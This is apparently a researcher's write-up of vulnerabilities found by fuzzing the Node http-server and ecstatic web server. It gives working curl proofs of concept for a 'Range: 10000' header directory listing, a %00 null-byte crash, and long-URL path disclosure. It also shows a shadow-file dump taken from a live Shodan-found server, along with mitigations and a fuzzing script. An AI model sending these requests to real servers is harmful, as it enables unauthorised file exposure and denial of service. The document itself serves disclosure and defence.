I’ve been fuzzing http-server for a few days now and I found 3 interesting vulnerabilities which may affect versions 2.2.1 (some), 3.3.2, 3.3.1, 3.3.0 and 4.1.2 of ecstatic web-server:
- Directory listing due to insecure default configuration + “range: 10000” HTTP header
- Denial of Service by sending the %00 null character in the URL
- Internal path disclosure caused by a long URL
According to shodan there are up to 5k ecstatic webservers

Summary
- Set up http-server locally
- Directory listing
- Denial of Service
- Internal path disclosure
- Fuzzing input
1. Set up http-server locally
First we clone the repo, install the dependencies and start the webserver. Once done, we can access http://127.0.0.1:8080 and start fuzzing it.
x@ubuntu: git clone hxxps://github.com/http-party/http-server x@ubuntu: cd http-server x@ubuntu: npm i x@ubuntu: node bin/http-server Starting up http-server, serving ./public Available on: hxxp://127.0.0.1:8080 hxxp://192.168.136.160:8080 hxxp://10.8.4.3:8080 Hit CTRL-C to stop the server
The public directory content shows the structure of the content available through the web interface
http-server-js/public: tree . ├── 404.html ├── img │ └── turtle.png └── index.html 1 directory, 3 files
2. Directory listing
http-server is using node-ecstatic, and they both have directory listing enabled by default (but why?). This is not recommended because the directory may contain files that are not normally exposed through links on the web site i.e: keys, configuration, authentication bypass, etc.
http-server
Available Options: -p or --port Port to use (defaults to 8080) -a Address to use (defaults to 0.0.0.0) -d Show directory listings (defaults to true)
node-ecstatic
{
"autoIndex": true,
"showDir": true,
"showDotfiles": true,
"humanReadable": true,
"hidePermissions": false,
"si": false,
[..]
}
While these are configured to enable directory listing, if we request the “img” folder path listed in the public directory, the server returns 404 (so all good?):
x@ubuntu: curl hxxp://127.0.0.1:8080/img/
<html>
<head>
<title>404</title>
</head>
<body>
<h1>404</h1>
<p>Were you just making up filenames or what?</p>
</body>
</html>
However during the fuzzing stage, I noticed that some responses from the server are larger than usual due to some extra CSS.

Rendering the HTML page in Burp revealed the directory listing

It seems that adding the "range: 10000" header in the request, makes the server display the directory listing, alongside permissions and dotfiles as specified in the configuration. Weird how this happens only when this header is present:
x@ubuntu: curl -H "Range: 10000" hxxp://127.0.0.1:8080/img/
Searching on shodan for server: "ecstatic" we get around 5000 servers. After testing a few of the results, it appears that at least the following versions are vulnerable by default, unless the server is started explicitly with directory listing disabled (-d false):
- ecstatic-2.2.1 (some)
- ecstatic-3.3.2
- ecstatic-3.3.1
- ecstatic-3.3.0
- ecstatic-4.1.2
And then there are people running the http-server as root, with the path set to / ?? (at least it’s a docker)
HTTP/1.1 200 OK server: ecstatic-2.2.1 cache-control: max-age=3600 content-length: 652 content-type: application/octet-stream; charset=utf-8 Connection: close root:*:17370:0:99999:7::: daemon:*:17370:0:99999:7::: bin:*:17370:0:99999:7::: sys:*:17370:0:99999:7::: sync:*:17370:0:99999:7::: games:*:17370:0:99999:7::: man:*:17370:0:99999:7::: lp:*:17370:0:99999:7::: mail:*:17370:0:99999:7::: news:*:17370:0:99999:7::: uucp:*:17370:0:99999:7::: proxy:*:17370:0:99999:7::: www-data:*:17370:0:99999:7::: backup:*:17370:0:99999:7::: list:*:17370:0:99999:7::: irc:*:17370:0:99999:7::: gnats:*:17370:0:99999:7::: nobody:*:17370:0:99999:7::: systemd-timesync:*:17370:0:99999:7::: systemd-network:*:17370:0:99999:7::: systemd-resolve:*:17370:0:99999:7::: systemd-bus-proxy:*:17370:0:99999:7::: node:!:17373:0:99999:7:::
Mitigation
The fix is easy, either edit the lib/http-server.js and set the directory listing to be false by default:
this.showDir = false;
Or start the server with -d false flag. Both of them make the server return a 403 Forbidden for the directory listing:
HTTP/1.1 403 Forbidden server: ecstatic-2.2.1 Date: Wed, 25 Mar 2020 16:57:50 GMT Connection: close Content-Length: 0
3. Denial of Service
The DoS vulnerability is brain-dead and I discovered it while fuzzing the URL path of the webserver. http-server is built on top of ecstatic-3.2.2 which cannot properly handle the null character a.k.a %00 and it crashes the webserver:
curl hxxp://127.0.0.1:8080/%00 curl: (52) Empty reply from server
..and on the server
internal/fs/utils.js:540
throw err;
^
TypeError [ERR_INVALID_ARG_VALUE]: The argument 'path' must be a string or Uint8Array without null bytes. Received '/tmp/http-server/public/\u0000'
at Object.stat (fs.js:920:10)
at statFile (/tmp/http-server/node_modules/ecstatic/lib/ecstatic.js:350:10)
at Array.middleware (/tmp/http-server/node_modules/ecstatic/lib/ecstatic.js:460:7)
at dispatch (/tmp/http-server/node_modules/union/lib/routing-stream.js:110:21)
at Object.onceWrapper (events.js:427:28)
at module.exports.emit (events.js:321:20)
at Array.<anonymous> (/tmp/http-server/lib/http-server.js:98:11)
at dispatch (/tmp/http-server/node_modules/union/lib/routing-stream.js:119:21)
at module.exports.RoutingStream.route (/tmp/http-server/node_modules/union/lib/routing-stream.js:121:5)
at Object.onceWrapper (events.js:428:26) {
code: 'ERR_INVALID_ARG_VALUE'
}
I didn’t test the DoS exploit on any shodan target, but I guess many of them could be also vulnerable to this.
Mitigation(?)
I don’t have a fix for the DoS, and it seems that they had previous problems with this and this. Furthermore, the project is not actively maintained anymore so yeah – good luck with that.
4. Internal path disclosure
Sending a large directory path will display an ENAMETOOLONG error, along the internal path of where the public directory is placed /home/user/Projects/..:
curl hxxp://127.0.0.1:8080/`python -c "print 'A'*500"` Error: ENAMETOOLONG: name too long, stat /home/user/Projects/http-server-js/public/AAA..
5. Fuzzing input
For fuzzing the http-server I used the wikipedia list of request and response headers + radamsa to generate cases derived from these examples:
x@ubuntu: mkdir cases x@ubuntu: cd cases x@ubuntu: split -l 1 headers x@ubuntu: ls x* xaa xad xag xaj xam xap xas xav xay xbb xbe xbh xbk xbn xbq xbt xbw xbz xcc xcf xci xcl xco xcr xcu xcx xda xdd xdg xdj xdm xdp xds xdv xdy xeb xab xae xah xak xan xaq xat xaw xaz xbc xbf xbi xbl xbo xbr xbu xbx xca xcd xcg xcj xcm xcp xcs xcv xcy xdb xde xdh xdk xdn xdq xdt xdw xdz xac xaf xai xal xao xar xau xax xba xbd xbg xbj xbm xbp xbs xbv xby xcb xce xch xck xcn xcq xct xcw xcz xdc xdf xdi xdl xdo xdr xdu xdx xea x@ubuntu: for i in `ls x*`; do echo $i; mkdir cases/$i; radamsa -n 10 -o cases/$i/%n.txt $i; done
Now that we generated the cases, we can write a bash script to iterate through them and perform the curl request. For this example I’m using also a proxy on localhost:8081 to save each request-response in Burp for error triaging later:
for i in `ls cases`; do
for j in `ls cases/$i`; do
fuzz=`cat cases/$i/$j`
curl -x http://127.0.0.1:8081 -i -s -k -X $'GET' \
-H "$fuzz" -H $'Connection: close' \
$'hxxp://127.0.0.1:8080/' >/dev/null
done
done
Content of headers:
Accept-Charset: utf-8 Accept-Datetime: Thu, 31 May 2007 20:35:00 GMT Accept-Encoding: gzip, deflate Accept-Language: en-US Accept-Patch: text/example;charset=utf-8 Accept-Ranges: bytes Accept: text/html Access-Control-Allow-Origin: * Access-Control-Request-Method: GET Age: 12 A-IM: feed Allow: GET, HEAD Alt-Svc: http/1.1="http2.example.com:8001"; ma=7200 Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== Cache-Control: max-age=0 Cache-Control: max-age=3600 Cache-Control: no-cache Cache-Control: no-store Connection: close Connection: keep-alive Content-Disposition: attachment; filename="fname.ext" Content-Encoding: gzip Content-Language: da Content-Length: 348 Content-Location: /index.htm Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ== Content-Range: bytes 21010-47021/47022 Content-Security-Policy: upgrade-insecure-requests Content-Type: application/x-www-form-urlencoded Content-Type: text/html; charset=utf-8 Cookie: $Version=1; Skin=new; Date: Tue, 15 Nov 1994 08:12:31 GMT Delta-Base: "abc" DNT: 0 DNT: 1 ETag: "737060cd8c284d8af7ad3082f209582d" Expect: 100-continue Expires: Thu, 01 Dec 1994 16:00:00 GMT Forwarded: for=192.0.2.43, for=198.51.100.17 Forwarded: for=192.0.2.60;proto=http;by=203.0.113.43 From: user@example.com Front-End-Https: on Host: en.wikipedia.org Host: en.wikipedia.org:8080 HTTP2-Settings: token64 If-Match: "737060cd8c284d8af7ad3082f209582d" If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT If-None-Match: "737060cd8c284d8af7ad3082f209582d" If-Range: "737060cd8c284d8af7ad3082f209582d" If-Unmodified-Since: Sat, 29 Oct 1994 19:43:31 GMT IM: feed Last-Modified: Tue, 15 Nov 1994 12:45:26 GMT Link: </feed>; rel="alternate" Location: http://www.w3.org/pub/WWW/People.html Location: /pub/WWW/People.html Max-Forwards: 10 Origin: http://www.example-social-network.com P3P: CP="This is not a P3P policy! See https://en.wikipedia.org/wiki/Special:CentralAutoLogin/P3P for more info." P3P:CP="your_compact_policy" Pragma: no-cache Proxy-Authenticate: Basic Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== Proxy-Connection: keep-alive Public-Key-Pins: max-age=2592000; pin-sha256="E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g="; Range: bytes=500-999 Referer: http://en.wikipedia.org/wiki/Main_Page Refresh: 5; url=http://www.w3.org/pub/WWW/People.html Retry-After: 120 Retry-After: Fri, 07 Nov 2014 23:59:59 GMT Server: Apache/2.4.1 (Unix) Set-Cookie: UserID=JohnDoe; Max-Age=3600; Version=1 Status: 200 OK Strict-Transport-Security: max-age=16070400; includeSubDomains TE: trailers, deflate Timing-Allow-Origin: * Timing-Allow-Origin: <origin>[, <origin>]* Tk: ! Tk: ? Tk: G Tk: N Tk: T Tk: C Tk: P Tk: D Tk: U Trailer: Max-Forwards Transfer-Encoding: chunked Upgrade: h2c, HTTPS/1.3, IRC/6.9, RTA/x11, websocket User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0 Vary: * Vary: Accept-Language Via: 1.0 fred, 1.1 example.com (Apache/1.1) Warning: 199 Miscellaneous warning WWW-Authenticate: Basic X-Att-Deviceid: GT-P7320/P7320XXLPG X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql X-Forwarded-For: 129.78.138.66, 129.78.64.103 X-Forwarded-For: client1, proxy1, proxy2 X-Forwarded-Host: en.wikipedia.org X-Forwarded-Host: en.wikipedia.org:8080 X-Forwarded-Proto: https X-Frame-Options: deny X-HTTP-Method-Override: DELETE X-Requested-With: XMLHttpRequest X-UIDH: ... x-wap-profile: http://wap.samsungmobile.com/uaprof/SGH-I777.xml